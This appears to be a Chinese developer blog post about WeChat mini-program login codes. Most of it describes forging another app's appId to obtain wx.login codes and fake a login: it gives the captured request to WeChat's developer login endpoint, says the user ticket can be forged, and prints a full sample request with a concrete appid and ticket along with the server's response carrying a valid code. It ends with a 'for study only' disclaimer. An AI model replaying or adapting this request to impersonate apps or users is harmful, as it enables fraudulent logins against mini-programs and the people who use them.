小程序中wx.login 登录code

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/getcomputerstyle/article/details/96285616

小程序提供了一个auth验证接口,使小程序不需要额外登录,就可以让开发者获得用户的唯一标识openid。调用方法如下:

	wx.login({ 
		success:resp=>{
			const code = resp.code;
				//DoSomthing 携带code请求服务器
		}
   	})

经过测试发现,code没有顺序性,例如在一段时间内请求了多个code,随便选一个都可以在微信提供的接口上验证成功并获得Openid。但是每个code只能验证一次,并且只有五分钟时效性(未测试)。


我要说的其实是伪造appId,从而获取code,并伪造登录。
小程序开发工具里是不允许修改appId为一个自己不是开发者的appId值的,所以必须搞清楚wx.login的时候微信生成这些code的原理。

经过给开发者工具设置代理并抓包,发现每次wx.login都进行了一次网络请求:
小程序中wx.login 登录code
小程序中wx.login 登录code
这个请求是由以下几部分组成的:

请求头:
POST /wxa-dev-logic/jslogin?_r={{random}}&newticket={{ 用户的另一个唯一标识,可伪造 }}&appid={{appId}}&platform=0&ext_appid=&os=win&clientversion=1021905151&os=win&clientversion=1.02.1905151&osversion=6.1.7601 HTTP/1.1
host: servicewechat.com
content-length: 25
Connection: close

POST数据:
{"scope":["snsapi_base"]}

模拟请求就可以得到对应的code

仅限学习和交流,请勿用于非法用途

POST https://servicewechat.com/wxa-dev-logic/jslogin?_r=0.5017947553947279&newticket=Ut8cKsaT7CVs_g0Q4-N5araal0h_E-HjGSmLW8ltPC0&appid=wx4dd641aaf8f42f3f&platform=0&ext_appid=&os=win&clientversion=1022004020HTTP/1.1
host: servicewechat.com
content-length: 25
Connection: close

{"scope":["snsapi_base"]}

HTTP/1.1 200 OK
Connection: close
Access-Control-Allow-Origin: *
Content-Type: text/plain
X-WX-FJ: 001,018,0000001024
SKFrmwRespCookie: 6xinAiAKEAEoKjgEQARYIt4=
Content-Length: 143

{"baseresponse":{"errcode":0,"errmsg":"ok"},"code":"033oA8lG06MSAg2MYViG0s6dlG0oA8lI","scope_list":[],"appname":"","appicon_url":"","state":""}

 

小程序中wx.login 登录code

上一篇:【小程序】使用uni-app搭建小程序环境---封装接口


下一篇:Python爬取微信小程序(Charles)